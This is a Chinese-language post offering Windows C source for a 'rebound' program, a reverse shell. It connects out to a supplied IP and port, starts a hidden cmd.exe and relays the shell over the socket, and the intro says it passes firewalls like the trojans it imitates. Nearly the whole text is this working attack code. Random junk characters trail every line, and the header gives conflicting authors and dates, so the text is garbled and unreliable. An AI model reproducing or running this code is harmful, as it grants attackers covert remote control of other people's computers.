这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qnJ50 VVW
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/* ============================== $mpO?D J~
Rebound port in Windows NT ^I`a;
By wind,2006/7 Blk}I
===============================*/ X?/Lz;,&
#include xQU"A2{}>
#include 3z3_7XI
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#pragma comment(lib,"wsock32.lib") ?Vc0)
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void OutputShell(); ]
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SOCKET sClient; b7Oj<!Wo`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "|t!7hC
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void main(int argc,char **argv) SkHYXe"]
{ {x{H$ f
WSADATA stWsaData; #{*LvI&
int nRet; xE1'&!4O
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) AnMV <
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printf("Useage:\n\rRebound DestIP DestPort\n"); %dW%o{
return; |4mVT&63(
} "3}<8c
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WSAStartup(MAKEWORD(2,2),&stWsaData); (0L=AxH
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [T^?Q%h
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stSaiClient.sin_family = AF_INET; &|
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stSaiClient.sin_port = htons(0); iZxt/}1X0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); exZLj0kvF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BzN@gQo
{ |^( M{
printf("Bind Socket Failed!\n"); ,T|x)"uA`
return; F!yV8XQ
} +Gh7^v|"
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stSaiServer.sin_family = AF_INET; 6B6vP%H#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gXy-Mpzp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ef@,hX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cb$-6ZE/
{ vFQ,5n;fF
printf("Connect Error!"); vt1lR5
return; !{Z~<Ky
} ~OypE4./1
OutputShell(); >jTp6tu,
} *Y6xvib9*
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void OutputShell() Vrkf(E3_V
{ ,
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char szBuff[1024]; ke%pZ7{u
SECURITY_ATTRIBUTES stSecurityAttributes; 8P2 J2IU
OSVERSIONINFO stOsversionInfo; Riry_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O !&,5 Dy
STARTUPINFO stStartupInfo; F9flSeN
char *szShell; L0NA*C
PROCESS_INFORMATION stProcessInformation; qCPmbg
unsigned long lBytesRead; %d;ezY '2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9 OT,TpA
stSecurityAttributes.lpSecurityDescriptor = 0; ,}SCa'PB
stSecurityAttributes.bInheritHandle = TRUE; eQDX:b
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )r tomp:X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o:p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GJA`l8`SQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cg{AMeW
stStartupInfo.wShowWindow = SW_HIDE; Log|%P\
stStartupInfo.hStdInput = hReadPipe; w_wslN,)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iG<Som
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GetVersionEx(&stOsversionInfo); q(IQa@$SR
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switch(stOsversionInfo.dwPlatformId) >m6&bfy\q
{ y 1\'(1
case 1: Mps5Vv
szShell = "command.com"; pv,45z0
break; O7G"sT1Dv
default: k cuzB+
szShell = "cmd.exe"; =E*Gb[r_7
break; Y.6SOu5$]
} ~AB*]Us
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j\&pej
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send(sClient,szMsg,77,0); v&
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while(1) * ?Jz2[B
{ r@G#[.*A>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); CH#k(sy
if(lBytesRead) ec3<%+0f
{ ;2xO`[#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9jir*UI
send(sClient,szBuff,lBytesRead,0); Af(WV>'
} ipE]}0q
else {KL5GowH
{ , X{>
lBytesRead=recv(sClient,szBuff,1024,0); Vu8,(A7D%O
if(lBytesRead<=0) break; EcL-V>U#M
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |CFRJN-J"
} 3G}AH E4
} C})'\1O%
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return; {w6/[-^
}